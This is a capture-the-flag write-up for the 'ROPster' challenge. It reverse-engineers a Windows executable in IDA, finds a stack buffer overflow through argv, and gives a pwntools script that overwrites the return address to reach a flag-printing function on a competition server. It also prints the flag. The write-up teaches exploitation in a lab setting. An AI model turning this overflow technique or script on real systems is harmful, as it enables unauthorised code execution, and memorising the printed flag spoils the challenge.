

# Cyberthon: CSIT

## The ROPster [1500]

You have found an artefact left behind by the attacker. Now is your chance to RE the executable. Only those who exploit it successfully will obtain the hidden flag.

```
nc 128.199.181.212 8123
```

Files: `Ropster.exe`

## Poking around

The `ROPster`, is naturally a Return-Oriented-Programming challenge by it's name. ROP is something I've tackled often in linux, but never have I done one with an `.exe`.

Regardless, every binary exploitation challenge starts with 3 simple things:

1. `checksec`, which is unfortunately not an option:

```
$ checksec -f Ropster.exe
Error: Not an ELF file: Ropster.exe: PE32
executable (console) Intel 80386, for MS
Windows
```

2. IDA Pro, which is unfortunately rather unhelpful:

```
f sub_40401514
f sub_40401523
f sub_40401532
f sub_4040153C
f sub_40401541
f sub_40401550
f sub_4040155A
f sub_4040156E
f sub_40401578
f sub_40401582
f sub_40401587
f sub_4040158C
f sub_40401591
f sub_404015AA
f sub_404015B4
```

3. Running random inputs on the binary, which is evidently the only option

So. We'll start off straight by running the bare exe:

```
$ ./Ropster.exe
Lol. You lost your way....
$
```

`stdin` is clearly unavailable, so the only alternate source of input must be `argv`:

```
$ ./Ropster.exe aaaaaaaaaaaaaaaaaaaaaaaaaa
...
ROPSTER: aaaaaaaaaaaaaaaaaaaaaaaaaa
```

And if you give an input that's long enough (`0x80`), you'll see the Windows equivalent of a segfault:

```
$ ./Ropster.exe `python -c "print 0x79*'A'"`
...
ROPSTER: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./Ropster.exe `python -c "print 0x80*'A'"`
...
ROPSTER: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Visual Studio Just-In-Time Debugger



An unhandled win32 exception occurred in [2264] Ropster.exe. Just-In-Time debugging this exception failed with the error: No installed debugger has Just-In-Time debugging enabled for Ropster.exe. Visual Studio, Just-In-Time debugging can be enabled from Tools/Options/Debugging/Just-In-Time.

We now know that the binary requires a buffer overflow through `argv`<sup>1</sup>. Where do we go from here?

## Interactive Disassembly

The decompiled output for `Ropster.exe` is pretty terrible by default. IDA Pro can't guess the function labels on it's own, and we'll have to find out where execution starts on our own.

To find a reference to `argv`, we'll search for the string that's printed along with it, `"ROPSTER:"`:

Text search (slow!)

String:

☐ Match case  
☐ Regular expression  
☐ Identifier  
☐ Search Up  
☐ Find all occurrences

OK Cancel

.rdata:4045DFDE	db 0
.rdata:4045DFDF	db 0
.rdata:4045DFE0	aG41f db 'g41f',0 ; DATA XREF to aG41f
.rdata:4045DFE5	align 4
.rdata:4045DFE8	asc_4045DFE8 db '...',0 ; DATA XREF to asc_4045DFE8
.rdata:4045DFEC	aTheWorkIsSerio db 'The work is serious; our pas: ; DATA XREF to aTheWorkIsSerio
.rdata:4045DFEC	
.rdata:4045E01C	aRopsterS db 'ROPSTER: %s',0Ah,0 ; DATA XREF to aRopsterS
.rdata:4045E029	align 4

Directi	Ty	Address	Text
Up	o	sub_404070A0+5C	push offset aRopsterS; "ROPSTER: %s\n"

```
26 v12 = 0;
27 sub_40401C8A(&v2, 0, 111);
28 sub_40403107(&v2, a1);
29 sub_404013BB("ROPSTER: %s\n", (unsigned int)&v2);
30 return 0;
31 }
```

We can make a couple of deductions.

- `sub_404013BB` is essentially `printf()`, taking in `argv` from `v2`. At the start of the function definition, `v2` is located at `[ebp-80h]`, so the buffer takes in 0x80 chars of input before Bad Stuff happens, as empirically found earlier on.

```
1 int __cdecl sub_404070A0(int a1)
2 {
3     char v2; // [esp+0h] [ebp-80h]
4     char v3; // [esp+70h] [ebp-10h]
```

- The variable `g41f` is probably an actual flag on server-side. This tells us where we need to jump:

xrefs to aG41f

Directi	Ty	Address	Text
Up	o	sub_40406F50+25	push offset aG41f; "g41f"

```
1 signed int sub_40406F50()
2 {
3     int v0; // eax
4     const char *v2; // [esp+8h] [ebp-70h]
5     int v3; // [esp+Ch] [ebp-6Ch]
6     int v4; // [esp+10h] [ebp-60h]
7
8     v2 = (const char *)sub_404022E8("g41f",
9     v4 = sub_404022E8("g41f",
10    if ( !v4 )
11        return 0;
12    v3 = sub_4040276B(v2, 1, 100, v4);
```

.text:40407070	push ebp
.text:40407071	mov ebp, esp
.text:40407073	push offset aTheWorkIsSerio ; "The work is serious; our pas:"
.text:40407078	call sub_404013BB
.text:4040707D	add esp, 4
.text:40407080	call sub_40401C71
.text:40407085	test eax, eax

xrefs to sub\_40401C71

Directi	Ty	Address	Text
Up	j	sub_40401C71	

```
1 signed int sub_40401C71()
2 {
3     return sub_40406F50();
4 }
```

So if we model the stack something like,

```
+-----buffer-----|-----sp-----|-return pointer-|
|           'A'*0x80           | <random_value> | 0x4040707D |
<-----80-----|-----04-----|-----04-----|
```

We'll get the flag printed immediately.

```
Gateway: "Will you be able to find what you want in here?"
ROPSTER: ...
ROPSTER: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7\x137\x13}p@@
Cyberthon{SuChaGr34tROPster}
Gateway: "Bye."
[*] Got EOF while reading in interactive
```

## Flag

Cyberthon{SuChaGr34tROPster}

## Code

```
from pwn import *
payload = 'A'*0x80 + p32(0x13371337) + p32(0x4040707D)
#This payload will not work locally.
r = remote('128.199.181.212', 8123)
r.sendline(payload)
r.interactive()
```

## Footnotes

1. Naturally, `argv` isn't accessible server-side. Presumably, the `stdin` of the server is getting piped as an argument.